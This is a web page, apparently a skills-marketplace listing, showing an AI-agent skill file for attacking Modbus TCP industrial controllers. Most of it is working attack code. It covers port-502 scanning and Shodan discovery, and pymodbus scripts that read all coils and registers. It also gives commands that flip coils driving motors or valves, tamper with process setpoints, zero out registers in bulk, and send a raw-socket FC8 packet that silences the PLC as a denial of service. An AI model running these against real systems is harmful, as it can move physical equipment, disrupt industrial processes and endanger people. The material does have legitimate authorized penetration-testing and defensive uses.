Skip to main content

ics-modbus

Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٢٦ مايو ٢٠٢٦ في ٠٩:٢٥
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٩١٢
التفرعات
١٬١٢٢

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
ics-modbus
description
Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"modbus modbus-tcp tcp 502 plc scada coil register holding input function code fc fc8 fc43 mei serial gateway moxa","subdomain":"ics-ot","tags":"modbus, plc, scada, ics, ot","mitre_attack":"T0855, T0836, T0831"}
# Modbus TCP Attack Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable. ## Discover ```bash # Scan for port 502 nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24 # Or with Shodan / Censys: port:502 country:XX # Internet-facing Modbus is still depressingly common (search "modbus" on Shodan) ``` ## Read everything ```bash # Python pymodbus python3 -c ' from pymodbus.client import ModbusTcpClient c = ModbusTcpClient("10.0.0.5", port=502) c.connect() print("Coils 0-100:", c.read_coils(0, 100).bits) print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits) print("Hold regs:", c.read_holding_registers(0, 100).registers) print("Input regs:", c.read_input_registers(0, 100).registers) c.close() ' # Or with mbtget (CLI) mbtget -r1 -a 0 -n 100 10.0.0.5 # read coils mbtget -r3 -a 0 -n 100 10.0.0.5 # read holding regs # nmap script enum nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5 ``` ## Identify the device (FC43 / MEI) ```bash # Function code 43 (Read Device Identification) returns vendor / model / firmware python3 -c ' from pymodbus.client import ModbusTcpClient from pymodbus.mei_message import ReadDeviceInformationRequest c = ModbusTcpClient("10.0.0.5", port=502) c.connect() r = c.execute(ReadDeviceInformationRequest(read_code=1)) print(r.information) c.close() ' # Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...} ``` ## Write attacks ### Single coil flip (DO output) ```python c.write_coil(address=10, value=True) # flip coil 10 ON # In a PLC, coil 10 might be: motor start, valve open, breaker close ``` ### Tamper holding registers (process setpoints) ```python c.write_register(address=100, value=9999) # often a setpoint or limit ``` ### Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode") ```python # Stops the PLC from responding to ANY Modbus request — soft DoS # Use raw socket: import socket, struct s = socket.socket() s.connect(("10.0.0.5", 502)) mbap = struct.pack(">HHHB", 1, 0, 6, 1) pdu = struct.pack(">BHH", 8, 0x0004, 0x0000) s.send(mbap + pdu) ``` ### Bulk-write registers (often unauthenticated) ```python c.write_registers(address=0, values=[0]*100) # zero-out 100 registers ``` ## Common findings | Finding | Impact | |---|---| | Modbus on internet | Full process control of whatever the PLC drives | | No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC | | Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN | | HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper | | Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) | ## OPSEC + safety - **Real-world warning**: writing to a coil/register on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5/6/15/16. Read-only is generally safe; writes can hurt people. - Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) — `modbus_function_5` and `modbus_function_15` are distinctive in their telemetry. - Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack. ## References - "Modbus Hacking" — Joel Langill (recurring S4 Conference talks) - pymodbus docs — github.com/pymodbus-dev/pymodbus - nmap NSE modbus-discover.nse - IEC 62443 (defender baseline; useful for understanding what's in-scope)
عرض على GitHub